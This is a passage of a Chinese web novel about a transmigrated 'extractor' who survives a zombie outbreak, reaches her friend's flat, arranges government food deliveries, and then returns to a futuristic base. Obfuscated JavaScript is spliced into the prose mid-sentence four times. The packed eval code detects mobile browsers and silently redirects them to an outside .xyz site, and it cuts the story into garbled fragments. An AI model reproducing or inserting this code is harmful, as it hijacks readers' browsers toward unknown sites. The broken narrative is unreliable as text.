“你好，岳晴女士。我们今早通过电话的，我是危机处理小组的工作人员。刚刚特别行动队已经对你所在的林榆商务园进行了初步清扫，我收到的反馈是行动非常成功。我们将于三天后开启对林榆商务园的营救工作。鉴于你对本次行动提供的有效信息，可以把你的准确位置告诉我，届时我将安排对您的首批营救！” “三天后？这个时间太长了！”听到要来营救了，她本来很开心，但听到三天后才开始，她傻眼了，这三天能把人饿疯。除了能够享受到她储备在拳馆物资的王楚城，到时大楼里的活人估计也不多了。 “请你谅解，现在人员和资源都极其紧张。全市的清扫行动和营救行动正在开展，三天后已经是最快时间了。” 岳晴握着手机的手不由用力，“如果是这样的话，希望你们到时一定要先来林榆园区的xx早教中心救人。” “等等……”工作人员在电话那端短暂沉默了下，“我看过园区的地图，我记得您上次提交的位置不是在早教中心，而是在乙座大楼里？” “是这样的。刚才我们出来了，救了一个老师，她带我们过来的。这里有三名女教师和六个孩子。他们是对你们行动没做什么贡献，但都是祖国的花朵和辛勤的园丁啊，你们不会见死不救吧？” “当然不会，我已经记录下来了。到时候会全力营救的。” “辛苦了。”岳晴抿了抿发干的嘴唇，“还有，我有一个叫王楚城的朋友，被困在了乙座的三层拳馆。另外乙座的22层的尚义传媒公司，也许还有我的一些同事活着。如果他们没被感染，也请拜托你们救援。” “放心吧，只要确认是未感染者，特别行动组都会全力营救的。” 岳晴挂断了电话，总算安心了些，抬眼就见老师们朝自己围了上来，她们听到岳晴接电话提到了让人来救他们的事，非常好奇。 岳晴向她们解释说：“刚刚是政、府危机特别处理小组的工作人员，他们答应三天后来这里营救，到时会先来救你们的。” 慧慧：“真的谢谢你。” 小茹：“你可真是个好人啊，我们能回家了！” “没有这么简单。”岳晴忍不住摇头，“那些营救的人，要三天后才来。你们现在有撑过三天的食物，可是三天里什么都会发生，万一他们没来……” “救我们的人一定会来的。”宋冉眼里闪着泪花，那里面不仅是对岳晴的感激，还有对自己能够活下去的坚定相信。 岳晴这次没反驳她说的。 她想起苏小圆写在工作笔记本第一页的一句话，“相信相信的力量”。 这句鸡汤名句，陪伴着苏小圆度过了很多灰色的日子。 和老师们说话的功夫里，精神力萃取进度条一直在攀升，数字飞速变化，代表原主非常认可她当下的作为，释放出了巨大的精神能量。 “恭喜萃取者岳晴，进度条上升至70%，胜利在望，请再接再厉！” …… - 在耽搁了一个多小时以后，岳晴和卢宵终于按照计划坐到了车里。 卢宵把车顺利开出停车场后，岳晴拿出手机回复欧月的消息，告诉她自己已经出发前往她们郊区的租房。 接着她又用卢宵的手机给王楚城发了条消息，说明了三天后营救部队要来的事，提醒他千万别出门，老实呆在拳馆。 从林榆商务园往市郊开，基本不会经过太繁华的路段。全程20多公里，出于安全考虑，卢宵还是选择绕开平时存在拥堵风险的地方，不是这个时候还担心堵车，是怕事发之时，司机们逃命不及，被堵在了路上。他要是开到车辆横七扭八抛锚的路段，再不好调头的话，对他们来说会很麻烦。 事实证明他这个做法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14819487|158271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是正确的，他们一路上没有遇到上述情况，也没遇到什么拦路的丧尸群，零星几个感染者，都被卢宵灵活熟练地操作方向盘绕了过去。 “你为什么一定要救那些孩子和老师？”岳晴看着窗外，突然打破了沉默。 “因为……同情心泛滥？我会把我自己代入到那些早教中心的孩子，我讨厌被大人抛下。我的力量很小，可我不想抛下他们，要是连自己能做到的事情都不去做，我会恨自己。”卢宵平稳转动方向盘，灵巧绕过一辆斜停在路中央的车，“你记得我说过我爸妈都在国外的事吧？他们当初结伴出去打工，后来在国外离婚了。每年他们各自都在我生日和除夕发一个红包给我，却几年都不回来看我一次。以至于我小时候甚至记不得他们的样子。有一年新年，我特别希望他们回来，他们也答应我了，可是最后他们食言了。我就离家出走了，等到我发泄完情绪回家，才知道爷爷奶奶找了我一夜。我爷爷在那晚心脏病去世了。奶奶没了老伴，没过几年也走了。” “对不起，我不该问这些，勾起你不好的回忆了。” “没有，都过去了。”卢宵没听到岳晴继续说话，于是想活跃一下气氛，“我当时说要送老师回去，你表情真的很难看，看起来像在心里起码骂了我一百句。” “没有一百……也就十句吧……”岳晴嗫嚅，听卢宵说了自己的经历，也被激发了表达欲，“其实我想坦白一件事。虽然我知道跟你没什么关系，但我想和一个人说说。” “你说，我一直在听。” 岳晴：“其实，我公司那些人是我的雷区，遇上他们我特别容易炸。刚刚我一进那家早教，我就看到了那双鞋，猜到是我老板去了。进到屋里，听到孩子软萌的声音，我心软了，想要救他们是大部分的原因。小部分原因，我想是我潜意识里真的想杀了那个女人。” 卢宵：“想杀和真杀，隔着一座山。我问你，如果你没有看出她被咬？还会动手吗？哪怕你私心里盼望她已经被咬了……” “我不会动手。”岳晴意外自己斩钉截铁得出了这个答案，不知道是自己还不够坏，还是因为念及早教中心那些孩子…… “那不就得了。”卢宵从旁边拿出一瓶水递给她，“别想太多，等下到了地方，我们从车里出去，还得保持状态到你家里。” 岳晴“嗯”了声，转过头看到高架桥下一处建筑里火光大盛，猜测是清扫部队在“干活”，紧接着响起数声巨大的“轰隆”爆破声，她的心跟着紧了松，松了紧，待卢宵开出那片区域去，耳根清净了，脑子才重新变得清明。 在她对卢宵坦露心事后，萃取进度再次显现，这次从70%上升至72%，她看着半空中发光的数字，不无感慨地想： 苏小圆，你也有相同的心事？也很想对朋友倾诉出来吧…… 18. 打工人迎战丧尸末日18 这一路上都很太平，卢宵和岳晴计划着，等到了地方看情况，如果能开进小区最好，直接停在楼下更为安全。如果不能，就能开到哪里算哪里。 按照欧月的说法，小区里并未见到大规模的丧尸群，只要他们小心，避着点应该不难。 因为是老小区了，大门没有设置道闸，往常保安大叔12点后会把大门锁上，留一道小门供晚归的人进出。 他们到了小区门口，发现大门是敞着的状态，卢宵顺利把车开进了小区里。 经过小区中央花园地带，岳晴看到旁边那个小卖部黑着灯，且房门大敞，猜测小卖部很可能已经被人洗劫过了，又或者做生意的老板已经被感染了。 还好她在家里囤了大量食物和物资，至少能吃半年多，暂时不用铤而走险出门找物资。 至于半年后如何？ 她本不为苏小圆抱希望的，但是根据这几天的观察，这个世界的政、府并非不作为，也许到时候危机真的被解除了，又或者人类已经找到了丧尸世界的立足之法。 眼下的路，岳晴给苏小圆转了个折，接下就要看苏小圆自己的了。 短短一路上，岳晴发现小区的亮灯率还是挺高的，大约在五分之一左右。 当局保证了不断电、不断水，加之时间还短，幸存家庭还有食水准备，还能撑几天。 不过，还有一种可能就是，他们已经感染失智，没人再去关灯了。 卢宵按着岳晴的提示，很快开到了她住的单元楼下。他们还没出车门，岳晴就看见欧月在窗户那里对她拼命招手。 她暂时无法回应她，内心却很激动，眼眶也有些发热，努力了近两周时间，如今终于抵达了这里。 他们在手臂上用胶带缠了较硬的铜版纸杂志，各自带了一个电动车头盔，然后背好各自的背包，手里握着唐刀出了车门。 老化的小区没有电梯，每一层安装了声控灯，但个别是坏掉的，像岳晴所在的二单元二楼的灯就坏了。 刚在车上，卢宵和岳晴已经商量过了，岳晴负责打手电照明。即便有丧尸被吸引发现他们，也比不明不白被咬一口要好。 一楼有声控灯，但他们声音太轻了，灯并没有亮，岳晴站在楼道口，把里面四周照了一遍，确认安全，两人才继续往前。到了一楼半位置，岳晴又把二楼的位置照了一遍，再次确认安全，二人继续上楼。 就这么到了三楼半，眼看胜利在望，岳晴照了一下上方没看到什么，想要上去时，被卢宵拉住了胳膊，他指了指上面，“先别动——有动静。” 眼看着就到家了，卡在这个节骨眼，岳晴感到心脏提到了喉咙眼，千万别功亏一篑啊！ 她很快也听到了下楼的声音，很轻但规律……这脚步声听起来更像是……正常人，而非感染者。 卢宵让她原地等候，自己五步并作两步率先抵达了四层，这次声控灯亮了起来……卢宵蹲低身子，举起了刀，戒备地盯着黑暗处——没过多久那个人从黑暗里走出，与卢宵狭路相逢。 “你，你……我不是，我没被咬。”说话的是个男人，被卢宵用刀指着心口，吓傻了。 卢宵：“大晚上的，这么危险，你要去哪儿？” “我刚看到有人开车到楼下。想出来问问你们有没有吃的？”男人叙述还算连贯，有可能未感染，或者是1小时内的感染者，“我家里还有点吃的，但干粮不多了，平时我上班忙，都是点外卖，没什么囤货。” 岳晴已经爬山了四楼，“我们也是逃命过来投奔亲戚的，身上就剩下面包了。”平时邻里不来往，如果不是在同一层，住两三年也没什么照面的机会，她掏出来面包递给男人。 “那……能不能加个微信？我搬来这儿有小半年了，经常加班，早出晚归，谁也不认识。万一过几天情况好转，组织团购食物什么的，我们弄个群方便联系。” “可以。”岳晴和他加了微信，男人道了谢，拿着她给的面包上楼了。 人走后，岳晴给欧月发微信，让她开门。这也是岳晴之前特别交待过的，让她不要主动开门。 两人一进屋，欧月就扑过来给岳晴一个个大大的拥抱，“神啊，小圆籽，你真是额滴神啊！要不是我那几天工作忙，都不知道你在连着厨房的那个阳台和储物间里囤了那么多吃的喝的！” “我那不是失恋了心情不好，狂看末日小说，想说用囤货解压嘛，结果没想到……” 这个说法她以前就提过。当时欧月真没多想，这些天她一个人无所事事，想了很多，所以并不十分相信，可是她和室友“苏小圆”劫后相逢，这是一件天大的幸事。她现在什么也不想管了！只要他们都还活着就行！ “这位就是你说的拳击教练。这么年轻，这么帅呢？”欧月看看卢宵又看看岳晴，“你们……？” “不是你想的那样。”要不是没洗手她真想捂住欧月八卦的嘴，“他叫卢宵，我们一路互相照应着，我才能回来。” 卢宵对欧月礼貌地点了点头，“这些日子要打扰了。” “什么打扰不打扰。大家以后都是好姐妹。”欧月笑了笑，“你们一定没吃晚饭吧？我去做点吃的，你们先休息一下。” 欧月做了一个加了肉沫的番茄浓汤，又开了一盒牛肉罐头，一罐黄桃罐头，主食是压缩饼干。 欧月的做菜水平差强人意，除了预制罐头，那道汤几乎没味道，肉也有点腥。不过，岳晴累坏了，吃什么都香得很。 吃完饭岳晴主动去刷碗，接着三人看了会儿电视消食后，岳晴被卷王卢宵拉起来督促着练了半小时的刀。 到了就寝时间，卢宵本来说要睡客厅沙发，岳晴看沙发是两人位，他那个头根本塞不下，就把自己房间让给了他，自己则去跟欧月睡一间房。 这一晚上，精神力萃取进度条涨了两次。 一次是岳晴成功到家后，欧月拥抱她时，从72%到80%； 一次是她在和他们一起看电视时，把下午拉斐尔整理给他的感染者特征，条分缕析地通过之前的微单页提交给了危机处理小组，从80%上涨到85%。 对她来说，只是花费半小时填了个表格，对于现阶段的清扫和营救行动却是功不可没。 她预感接下来，那个工作人员应该还会给她打来电话的。她得提前想想了，想想这次跟她提些什么要求，或者套取些什么消息…… 睡觉前，欧月躺在床上玩手机，岳晴拿出了自己的笔电，打开了之前列的计划表。 欧月躺在床上懒洋洋地笑着揶揄，“小圆籽，都世界末日了，你还加班呢？” 岳晴：“唉，加班就不加了吧，毕竟公司都没了。” 她想到前天还在22层和同事斗智斗勇，昨天还和老狐狸申应晖虚与委蛇，但现在这些人要不死了，要不生死不明，她的心情多少有点复杂。 过去，苏小圆在乎他们的看法，现在这些人都不存在了，那当时她付出的那些情绪，产生的内耗，又算什么呢？ 她再次替苏小圆感到不值。 “我想写个简要的日记，再计划下接下来怎么办。”实际上她没写日记，而是正在把之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832416|158271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 列好要完成的事项，依次打上“删除线”，对于一个计划控来说，这才是最爽的时刻！ “行，行，看来你已经从初阶J人进化到高阶了。”欧月关心地劝了句，“那别太熬眼睛了，弄完赶紧过来睡。” “好的，我马上了。” 删完todolist，岳晴在文档里大大敲了一个“85%”，陷入了深思。 她已经安全到家，接下来的计划就是苟在家里，可这也意味着失去了推动萃取度提升的外因。 目前他们手中只有冷兵器，出去和丧尸硬碰硬，那就是闲的没事找死。 如果原主死亡，进度条将会退回0%，而她此刻正躺在操作椅上连接着营养管的身体，轻则脑部中度损伤，重则直接脑死亡……代价不可谓不惨烈。 所以，她的原则就是安全第一，哪怕她接下来就让拉斐尔搜集数据和资料，提供给政、府，一周苟个2%-5%的进度提升慢慢熬，都比送死好。 焦头烂额之际，刚在楼梯间遇到的那个颓废的打工人的脸，突然跳进了岳晴的脑海里。 他说了什么来着？对！希望拉一个“物资团购”的群。 如她能沟通有关部门，给小区里的人打通食物购买配送的渠道，不仅解决了大家吃饭、生活的难题，对苏小圆未来的生存也非常有利。 有了想法，说干就干！ 岳晴听到欧月睡着的平稳呼吸声，担心吵到她，便关了灯，拿起电脑去了客厅。 五月十八日周六小雨转晴 岳晴这天早上起晚了，她昨天熬到两点，做了一个丧尸末日“打通食物和生存物资团购渠道”的策划案。得益于苏小圆打工人出色的写方案能力，配合她自己的鬼点子，这个方案考虑了多重可能性，完成度很高。 当然，这个方案是基于现阶段政府还在正常运作，及这个国家拥有足够的储备物资的前提下。如果国、家机器瘫痪了，一切免谈。 官方有很多专家不假，然就像每次重要法案通过前，也会征集民意一样，她代表普通老百姓的立场，她给出自己的观点，一定是有价值的。 如能保证有吃的、有喝的，那大家就还有活下去的信心。人心如果是稳的，未来就有了希望。 大概是尝试过昨天欧月做的番茄浓汤，卢宵今天主动做了早饭。 两人一直等到岳晴起来洗漱完，都九点多了，才坐在一起吃了早饭。 卢宵从小的经历，让他练就了一手好厨艺，能够把简单的食物做的很有心思，大家吃完非常满足。 饭后，欧月开始画画，她画的是他们三人昨晚和今早吃饭的一幅四格漫画。 昨天三人佯作没事吃着魔鬼晚餐的尴尬，还有今天吃美味的早餐时的喜笑颜开形成鲜明对比，令人啼笑皆非。 这几天欧月工作停摆，她把之前荒废的账号又运营起来了，在这个特殊时期，通过漫画形式给大家带来了安慰，涨粉不少。 卢宵则坐在沙发上看电视，电视台在播放临时录制的注意事项通知视频，还有一套应对感染者的防身技巧的视频。就这两样内容反复播放也不嫌烦，岳晴不明白他怎么看得如此沉浸。 好奇地走过去，她发现了电视屏幕最下方飘着的字幕： [北市安保队紧急征召年满18-45岁的青壮年加入，保卫家园，人人有责，联系电话：153……，132……] 原来，这才是他盯着相同内容反复观看的理由。 岳晴在他身边坐下，胳膊垫在脑后倚着沙发，漫不经心地问他，“你动心了？” 19. 打工人迎战丧尸末日18 卢宵的手掌在膝盖上摩挲了两下，一副欲言又止的样子，“是的，我很想去。我不知道怎么和你说我的想法，说出来你可能觉得我变态。” 岳晴短暂怔了下，不理解他的想法，“你想去参加安保队是做好事啊，怎么就成变态了？” “如果我说我这几天过得是这两年最开心的几天，你还会觉得我不变态吗？”他自嘲地笑了笑，“我以前当替身，挣得也少，工作也不稳定。有朋友调侃我，说这样可能一辈子都娶不到媳妇儿了，可是我却觉得没关系。那种朝着目标努力，虽不知道有没有结果，只是不管不顾地忙碌的生活让我感到踏实。但自从做了健身教练，后来又转了拳击教练，我的生活就变得浑浑噩噩了。这一两年，我有时候看着镜子里的自己会感到陌生，不认识了。这几天和你在一起，我觉得自己是有用的，我喜欢这样。” “我明白了，你是想做有意义的事，过自己喜欢的生活。”岳晴觉得这没什么不好，“就像这个世界上的人，都生活在不同的时区一样。本来我们每个人想要的就是不一样的，你可以按照自己的想法去活，这很好。任何活法，都不能以对错来评断。” “可……如果我走了，你们两个怎么办？以后还不知道会发生什么。” “卢宵，我上面说了，我们每个人都有自己的路要走。留下来保护我们，并不是你的义务。”岳晴右手拍了拍自己的左肩，“再说了，经过这几天，你还不相信我的能力吗？现在已经到我的地盘了，接下来都会好起来的！” “那……我晚两天再走？”卢宵不擅长说煽情的话，就想说给她来点实际的。 岳晴：？ 卢宵：“我意思是，带你把那套刀法练熟了我再走。这样我走得能安心些。” 岳晴：！ …… 欧月画累了，从房间出来上卫生间，就看见岳晴跟着卢宵练刀，第二次她出来给自己倒水，发现这两人还在练。 “我说两位……”欧月有点看不下去了，担心卢宵是想让岳晴一口气吃个胖子，那她肯定受不了啊，“马上十二点了，要不我去做饭？” “已经这么晚了！练了一个多小时，我得歇会儿……”岳晴往沙发上一瘫，闭着眼睛不想面对认真的小卢教练。 “你歇着，我去做。”卢宵把两人的刀收好，然后去仔细洗了手，戴好围裙去小厨房做饭了。 欧月端着水杯坐到岳晴旁边，“喂，你从哪里找了这么个天菜？长得像北欧王子，体能好，做饭还好吃。这种级别的，不得娶回家金屋藏娇再各种强制爱……哈哈。” “你小点声，别让人家听见。”岳晴给欧月脑袋上开了一记爆栗，“卢宵过两天就走了，去参加政、府组织的安保队，所以他说给我‘加餐’。” “加餐？哇哦，是我以为的那个加餐吗？你们放心加，我会戴好耳塞，假装听不到的。” “你想啥呢？”岳晴气笑了，真想把这大黄丫的头按水里清醒一下，“我说练刀，练刀的‘加餐’，姐妹。” “小伙子很有正义感嘛~没关系，你们后续还是有希望的。我相信他一定会活着回来的。” 她最后这句话，岳晴倒是很认可，“我也相信他一定能好好活下来。” 中午这一顿依旧丰盛。 卢宵用空气炸锅做了鸡腿，用烤箱烤了一盘蔬菜，做了三份牛排意面…… 菜端上桌后，岳晴看着卖相极佳的菜品，差点馋哭了。她去拿了一瓶葡萄自流汁，各人倒了一杯，让这顿饭看着像西餐厅里能卖四位数了。 “这不合适吧？朋友们，很多人正在饿肚子呢？咱们会不会太放肆了。”嘴上怎么说是一回事，身体却很诚实的欧月叼起一个鸡腿，快乐地啃起来，“你别说，你真别说，真香啊……” “吃吧，我走了以后，怕你们就只能吃罐头和预制菜对付了。” 刚往嘴里送了一叉子意面的岳晴，被噎住了，“咳咳咳……” “慢点吃，没人跟你抢，不够我再去做。”卢宵拍了拍她后背。 岳晴喝了口自流汁顺了顺，“没事，我是担心啊，你把我们的标准抬上去了，以后我两吃啥都不香了。” “味道只要说的过去就可以，关键是健康。如果条件允许，我会监督你每日饮食，你记得发照片给我，吃的不对的，我会给你意见的。哦，你每天的力训、刀法视频也记得发给我。” 岳晴笑的比哭还难看。 唉，小卢教练，求放过啊。 下午吃完饭，三人在客厅打了套八段锦，然后各自该干什么干什么。 卢宵按照官方要求，准备好自己的个人信息，再到指定的页面去填报。不是报了就能去，官方还会进行相应的筛选。 岳晴认为这个筛选不会太严格，毕竟用人之际。就算严格也没关系，以卢宵的条件不成问题。 下午快四点的时候，行动组的工作人员，终于如岳晴所料给她打电话来了。 今天早饭后，岳晴已经把她熬夜做的方案，作为附件从信息征集页面上传提交了。 她最近的两次提交，提供的都是非常有价值的内容，引起了官方的注意。 这次和岳晴的电话沟通，除了之前的那位女士，还有另外一个男性工作人员。 他们首先对她所提供的在逃生过程中积累的观察记录，表示了感谢，同时非常认可她给出的官方团购物资渠道方案，指出岳晴提的点子，补充了他们预想计划中的不足。 岳晴回说如果以他们小区作为试点的话，她愿意全力配合政、府验证可行性。 …… 这次沟通顺利且愉快，吃是民生大事，官方也希望尽快解决此事。 当天晚上，岳晴联系了社区工作人员，完成了小区幸存家庭的拉群。 等到卢宵离开那天，他们已经顺利完成了第一批物资团购订单的下单。 政、府与团购公司合作，承诺两日内将以无人机的形式送往各个有需求的家庭手中。 五月二十日周一小雨转晴 卢宵的政审和体能昨天都过了，今天他将开车去指定地点报到。岳晴给他准备了一背包能用上的物资，有吃的，常用药品，简易求生包等等。 三人在门口告别，欧月很有眼力见地跟卢宵说再见后，就回自己房间了。 “我不喜欢拖拖拉拉的，又不是以后见不到了，对吧？”岳晴撒谎了，她的脸因此有点发烫。卢宵和苏小圆见不见得到不知道，她和卢宵应该见不到了。 这感觉有点奇妙，就像你某次搭公共交通工具出门， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841643|158271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在车上你遇到一点麻烦，有位好心人帮了你，解决了你的困难，但你知道此后你们再也见不到面了。 所谓萍水相逢，便是这样。 见卢宵不说话，岳晴想让他开心些，笑着哄他，“别苦大仇深的啦。我准备了一个小礼物给你，是一本佩索阿的诗集，放在你包里了。” 这是她来这里以后，购买的唯一一件与生存无关的东西。于她是格外珍贵的，她选择把它送给这个世界遇到的最特别的人。 “谢谢你，我一定会好好读它的。”卢宵松开一直拽着自己运动外套的手，“我还有个小愿望，能不能……？” “什么愿望？只要我做得到的，都满足你。” “真的？”眼睛微微眯起，湛蓝的双眸不似平时那般清澈，有些不知为何的浊意，像是阴天的湖面被霾得微微泛灰。 “当然……” 岳晴话没说完，卢宵便凑近了来…… 属于另外一人的热气扑洒在她的发际线处，她本能的向后撤了一点，他敏感地察觉到，顿了顿，最后，并没有实质性地落下来这个吻，而是在她额头上方象征性地凑近了几秒钟，离开了。 “我等你愿意……”说完，他径自开门走了。 岳晴在阳台上看见卢宵顺利进了车里，之后他没有再摇下车窗告别，决绝地开车离开了。 车开远了，她才讪讪摸了摸自己的额头，仿佛那里还有他无限接近自己时残留的温度。 - 又过了几天，团购公司在政/府支持下，相继完成了几个大型居民区的物资配送后，岳晴预感到萃取进度条马上就要满了。 在她走后，苏小圆将继承她这些日子以来的所有记忆。系统将钻一些离谱的bug，赋予她做这些事的前提理由，使她将岳晴的选择合理化为自己的选择。 一个天气舒适的傍晚，火烧云染红了整片天空。 岳晴正坐在阳台的椅子上看书，突然听见了系统提示音—— “恭喜萃取者岳晴，萃取进度已达100%，您在本世界的萃取任务顺利完成。系统即将为您打开返航通道，请做好准备，3、2、1……” 眼前光亮大盛，岳晴忍不住用手遮住，等她撤掉遮蔽，人已经在一个快艇上了。 蓝黑色的天空上繁星点点，而在她的周围，是略显阴森诡异的漆黑海面。 不过，她能看到远处的小岛，与矗立在小岛旁的灯塔。 此刻灯塔的信号光规律地闪烁着，为返航的人指点方向，也将他们的内心被归家的喜悦填满。 这是岳晴第二次体验这个场景。 其实这是官方设计的全息影像，一方面给完成任务的萃取者一个“上岸”的仪式感，主要目的却是帮助他们，去规避在时空穿梭时所遭遇的视觉冲击。 B612操作室。 岳晴孤独的在操作椅上醒来，睁开眼睛后，她盯着空无一物的天花板，缓了缓心悸的感觉，才动手摘掉头上的头盔装置，随即打开自己腰上的安全带。 因为没有双腿，她根本无法离开操作室，于是按了身旁的“呼叫”按钮—— 在心里默默祈祷，希望这次那位负责与她配合的工作人员，不要像上次一样，让她一等就是小半天，尿都要憋出来了好不好！ 20. 前往K75星01 就在岳晴醒来了同一时间，B2操作室，一个躺在操作台上的年轻棕发男人也睁开了眼睛。 他一醒来，立刻有一个守在操作室内的高个子男人，围过来询问他身体情况，是否有哪里不适？与在操作室孤零零醒来的岳晴形成鲜明对比。 一直守候在这儿的男人，年龄看起来30岁出头，穿一身灰绿色连体工装，左胸衣服嵌着一块电子胸牌，显示的信息在“崔蕨”这个名字和“B-副队长”这个title间来回切换。 “没什么不舒服。”操作椅上的男人先动手解开安全带，然后坐起来。他没讲实话，实际上他此刻视物模糊，头也有点晕，但他习惯性无法示弱。 听他这么说，崔蕨放心了，微笑着询问，“我看了拉斐尔同步传输回的实时影像，你们似乎相处得很愉快？” 棕发男人冷嗤了一声，“仅仅保留了我40%的人格，那还是‘我’吗？你鉴定‘我们相处愉快’的依据是什么？” “稍安勿躁啊，琼斯少爷，40%的你也是你啊。”崔蕨看他站起来原地摇晃，急忙上前搀扶，“你缓缓再走吧。毕竟是第一次参与‘任务跟随’。” 他拂开崔蕨的搀扶，“如果下次不能让我以超过50%的人格参与，我认为这种情境疗程对我的意义不大。我拒绝再次参与。” 崔蕨是无法理解这种含着金汤匙的公子哥的想法的，自己的人格浓度对他来说有那么重要吗？ 他们为他挑选的是各方面相对优秀的人类，保留对方60%的人格，也会让他的体验相对稳定，“我劝你还是配合我们的工作吧，否则老琼斯先生他……”崔蕨话说到一半，感到裤兜里的呼叫器在震动，他打开一看上面显示的号码是B612。 - 崔蕨这次倒是赶来得挺快，岳晴请她把自己的义肢从操作室外的置物架上取来，她慌慌张张穿好，顾不上和崔蕨说别的，跌跌撞撞朝洗手间跑去…… 穿越去的世界和岳晴所在世界的时间流速不同，那里过了两周多，这里也就过了三个小时。她提前一天就没怎么喝水，但是任务结束后，还是尿意强烈。 这是因为在执行任务前，他们必须按照规定服用保护药剂，目的在于尽可能让萃取者在意识离体后，对他们的各个器官造成欺骗效果，从而维持生命的正常运转。副作用就是很多萃取者因为服用保护药剂，大小便失禁，岳晴没尿裤子已经算是优秀了。 一次意外事故，使岳晴失去了行走能力。她在接受截肢手术后，大腿只留下了一半。 通过复建，虽然能够佩戴义肢慢速挪动着行走，但因为这对义肢不是为她量身定做的，她每次最多只能佩戴20分钟，时间再长了，或者用力过猛，都会使得她的残肢表面产生严重磨损。结果就是残肢截面血肉模糊，疼痛不堪，要缓很多天等到伤口长好，才能重新佩戴。 可眼下岳晴完全顾不得这些了，等她飞奔过去解决了自己的内急问题，扶着门框走出卫生间时，才感到疼痛难忍，被折磨得龇牙咧嘴。 看到卫生间门口放着的智能轮椅，岳晴有点惊讶，这次崔蕨格外贴心，居然给她准备了轮椅。 她小心翼翼地绕到轮椅前边，扶着扶手一屁股坐到轮椅后，感到天都亮了！ 她第一件事是把无法忍受的义肢摘下来，放到自己腿上，随即微低下头，对轮椅下达指令：“请送我去精神能源组B小队会议室。” “收到指令，送您前往。”轮椅回应岳晴，然后自行转动轮毂，带她前往目的地。 每次任务结束后，例行会议复盘任务得失。 岳晴在这里的身份是一名普通的任务执行者，与他对接的精神能源B小队的副队长崔蕨，既是她的直属领导，也是她的联络员。 因为她情况特殊，崔蕨还兼任了她的生活管家的角色。 精神力能源组，与岳晴之前所在的人类遗址发掘组，都隶属于联邦能源局。 精神力能源组其下共分为十个小队，每队大概常设80-120人编制，每队有队长一位，副队长4-6位，崔蕨便是B队其中一位副队长。他除了负责岳晴以外，还负责其余24位萃取执行者的相关工作。 有时候崔蕨忙起来分身乏术，岳晴不是不能理解。 与苏小圆上班地方的复杂电梯设置相比，精神力能源组大楼的电梯设置就简明多了。 并行的十部电梯，统一在一排。 智能轮椅与电梯由统一系统操控，岳晴不用特意按电梯，智能轮椅已经按照她的指令，设计了最合理的前往路线。 当轮椅检测到位于岳晴右手边的第二部电梯即将到达后，它就提前载着她在电梯口等候，电梯一到，人和轮椅直接进入，省时省心。 每一部电梯都是全透明设计，在电梯里，能够看见乘坐相邻两侧电梯上上下下的人。 岳晴被电梯载着上行的时候，看见一个棕发男人的侧影儿。他乘坐的电梯是下行的，两座电梯交集的时间十分短暂，岳晴现在只有一只眼睛能用，没能看清那人的脸。之所以多看了他一眼，是因为他没穿工装。 管理人员和联络员一般穿灰绿色的连体工装，萃取执行者则是银白色的夹克和工装裤。就比如岳晴穿的是银白色的工装，而崔蕨穿的是灰绿色的工装。 岳晴没多想，猜测棕发男人大概是其他部门来这里公干的。 电梯一到指定楼层，智能轮椅载着她前往会议室。 崔蕨比她先到会议室一步，已经启动了全息影像。 根据上次的经验，岳晴知道崔蕨会先带着她复盘一遍刚完成的任务。这是特别令她犯困的环节。 5分钟后，岳晴一边喝着仿生人准备的黑咖啡，一边听崔蕨讲，她已经在努力调动自己的精神头，过程中还是忍不住头点啊点的……，好几次崔蕨忍不住咳嗽提醒了她。 “对不起，崔队。”真不是故意的，每次任务结束后，岳晴都觉得很累，再加上崔蕨这人情绪极其稳定，说话声调也没什么起伏，听得人昏昏欲睡。 “算了，一个、两个还真像啊。我看今天跟你说再多的，你都听不进去了。”崔蕨把激光笔往桌上一搁，“你直接提交任务报告吧，我到时候会做批示，你再看批示。另外，岳晴啊，这次任务完成得很不错，拉斐尔把后续数据发来了些，你负责的那个女孩精神状况恢复得很好，所以这次除了原定的任务奖金，组里还会给你发放一定的复利奖金。” 一听到奖金，岳晴可就来精神了，“什么是复利奖金？” “我们都知道，B队负责的序列是专门针对各个世界的失意者的。他们在各自的世界可能是不起眼的小人物，已经经历或正在遭遇着所谓的失败。萃取者若能够帮助他们扭转局面，重新找回生存意志，那他们就会逸散出强大的精神力，这正是我们所需要的。 经过改良，萃取装置提取精神力，不会对被提取者造成任何伤害。一个人一旦转念，很可能境遇也会跟着越来越好，后续他们持续逸散出的精神力，会被持续收集。当然也有一定的周期，就像你在果园种了棵果树，你能收上十年，但不一定能收一辈子。后续‘收益''的能源， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 